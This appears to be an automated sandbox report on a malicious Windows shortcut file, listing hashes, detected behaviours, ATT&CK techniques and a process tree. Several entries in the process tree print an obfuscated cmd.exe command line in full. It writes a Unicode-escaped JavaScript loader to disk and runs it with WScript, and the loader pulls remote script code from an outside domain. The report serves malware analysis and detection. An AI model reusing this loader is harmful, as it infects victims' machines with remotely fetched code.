eec118e973e7d3c98fa42d2002f5db5f72bb260bc9a46ccf0af922b833411550

General

Target

26586807.lnk
Size

1KB
MD5

bc345cb4f475cf31bd47c9bbbeebc376
SHA1

53a989af0ea25a20c022db6d5cda0204dc53d0c5
SHA256

8051b39e71554eb5e1bb9455160957c5a5aae1e24f261052e8e871e93420adfc
SHA512

8e4eca9cdddd877c7db0411a3a809733660db7e8ebc877870a10b901beb97218b6bb586b5499dc14d3df831d9327fd0ab26b5f336a939997cccfc2bb6e4fc3ef

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	3160	WScript.exe
8	3160	WScript.exe
12	3160	WScript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000_Classes\Local Settings	cmd.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4460	conhost.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3900 wrote to memory of 4460	3900	cmd.exe	86
PID 3900 wrote to memory of 4460	3900	cmd.exe	86
PID 4460 wrote to memory of 1476	4460	conhost.exe	87
PID 4460 wrote to memory of 1476	4460	conhost.exe	87
PID 1476 wrote to memory of 8	1476	cmd.exe	90
PID 1476 wrote to memory of 8	1476	cmd.exe	90
PID 1476 wrote to memory of 548	1476	cmd.exe	89
PID 1476 wrote to memory of 548	1476	cmd.exe	89
PID 548 wrote to memory of 3160	548	cmd.exe	91
PID 548 wrote to memory of 3160	548	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\26586807.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3900
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" C:\Windows\system32\cmd.exe /V/D/c "S^eT URC=C:\XE9MHO\&& mD !URC!>nul 2>&1&&S^eT HAQR=!URC!^XBLOQECJ.JS&&<nul set/p RDII=var RDII='\u0062\u0071\u0031\u002b\u0044\u0062\u0071\u0031\u002b\u0045\u0062\u0071\u0031\u002b\u0022\u002f\u002f\u0037\u0067\u0062\u0074\u006e\u0061\u0072\u0061\u0069\u0075\u0031\u002e\u0073\u0069\u0063\u006f\u006f\u0070\u0071\u0072\u002e\u006f\u0072\u0067\u002f\u003f\u0031\u002f\u0022\u0029\u003b';URC='\u003a\u0068\u0022\u003b\u0045\u0062\u0071\u0031\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043';XBLO='\u0076\u0061\u0072\u0020\u0043\u0062\u0071\u0031\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u0062\u0071\u0031\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022';HAQR=XBLO+URC+RDII;QECJ=new Function(HAQR);QECJ(); >!HAQR!|caLl !HAQR!||caLl !HAQR! "
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /V/D/c "S^eT URC=C:\XE9MHO\&& mD !URC!>nul 2>&1&&S^eT HAQR=!URC!^XBLOQECJ.JS&&<nul set/p RDII=var RDII='\u0062\u0071\u0031\u002b\u0044\u0062\u0071\u0031\u002b\u0045\u0062\u0071\u0031\u002b\u0022\u002f\u002f\u0037\u0067\u0062\u0074\u006e\u0061\u0072\u0061\u0069\u0075\u0031\u002e\u0073\u0069\u0063\u006f\u006f\u0070\u0071\u0072\u002e\u006f\u0072\u0067\u002f\u003f\u0031\u002f\u0022\u0029\u003b';URC='\u003a\u0068\u0022\u003b\u0045\u0062\u0071\u0031\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043';XBLO='\u0076\u0061\u0072\u0020\u0043\u0062\u0071\u0031\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u0062\u0071\u0031\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022';HAQR=XBLO+URC+RDII;QECJ=new Function(HAQR);QECJ(); >!HAQR!|caLl !HAQR!||caLl !HAQR! "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" caLl C:\XE9MHO\XBLOQECJ.JS"
      4⤵
      Checks computer location settings
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:548
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\XE9MHO\XBLOQECJ.JS"
        5⤵
        Blocklisted process makes network request
        
        PID:3160
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" set/p RDII=var RDII='\u0062\u0071\u0031\u002b\u0044\u0062\u0071\u0031\u002b\u0045\u0062\u0071\u0031\u002b\u0022\u002f\u002f\u0037\u0067\u0062\u0074\u006e\u0061\u0072\u0061\u0069\u0075\u0031\u002e\u0073\u0069\u0063\u006f\u006f\u0070\u0071\u0072\u002e\u006f\u0072\u0067\u002f\u003f\u0031\u002f\u0022\u0029\u003b';URC='\u003a\u0068\u0022\u003b\u0045\u0062\u0071\u0031\u003d\u0022\u0054\u0074\u0022\u002b\u0022\u0050\u003a\u0022\u003b\u0047\u0065\u0074\u004f\u0062\u006a\u0065\u0063\u0074\u0028\u0043';XBLO='\u0076\u0061\u0072\u0020\u0043\u0062\u0071\u0031\u003d\u0022\u0073\u0022\u002b\u0022\u0063\u0072\u0022\u003b\u0044\u0062\u0071\u0031\u003d\u0022\u0069\u0070\u0074\u0022\u002b\u0022';HAQR=XBLO+URC+RDII;QECJ=new Function(HAQR);QECJ(); 0<nul 1>C:\XE9MHO\XBLOQECJ.JS"
      4⤵
      PID:8

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\26586807.lnk

Filesize
2KB

MD5
68495f1f190ec106bc741fca43f5f81e

SHA1
02f09cddc42fc54f1a00d908b3a82ac56e51039b

SHA256
d112a97755429478ca7a78497feda6455fa490ed6509fcf27c88761e15da2168

SHA512
e5e737d9b2ff69a88e88a2464f637026dd04dd2e9c2d8818d7ca70670bdff746de0ef105b011f5efa83b44eae0490731b6ae33ece1d57d1567d916baba020df1

Download Submit
C:\XE9MHO\XBLOQECJ.JS

Filesize
726B

MD5
baeb441ed3f3f6093fa9383acd5dda33

SHA1
edca2049e621cc283d4f05f674a118e0a0abdd52

SHA256
d0d4de52e5c46d472172a68ad0c3dd5acf103cf986f7dea748ccd673f5efc592

SHA512
193bb9446a602ef4a63972864c4c8332397b427434e9b1a9a1507122e23b60275cbb177d29fba329832fcdefbd7ff8d3636db07a6d87cd0599a82dc903a39563

Download Submit

Analysis

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